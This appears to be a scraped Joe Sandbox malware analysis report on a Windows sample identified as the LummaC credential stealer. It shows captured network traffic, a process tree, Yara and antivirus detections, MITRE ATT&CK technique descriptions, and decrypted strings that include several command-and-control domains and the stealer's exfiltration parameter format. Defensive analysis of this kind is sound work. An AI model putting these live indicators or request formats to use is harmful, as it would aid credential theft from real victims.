t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49881	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 23:19:32 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=62752 Date: Tue, 19 Nov 2024 23:19:32 GMT Connection: close X-CID: 2

Target ID:	0
Start time:	18:19:01
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4d0000
File size:	1'923'584 bytes
MD5 hash:	2D9021D2B87B22F8DB44CA359F9838AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2213320242.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:19:24
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	18:19:25
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1988,i,5820746288978107784,3213896217040591065,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	18:19:27
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:19:28
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1712 --field-trial-handle=2020,i,16253832576636000712,15236952978649801762,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://cook-rain.sbs/L	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apiE	Avira URL Cloud: Label: malware

Source: 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Windows Analysis Report
file.exe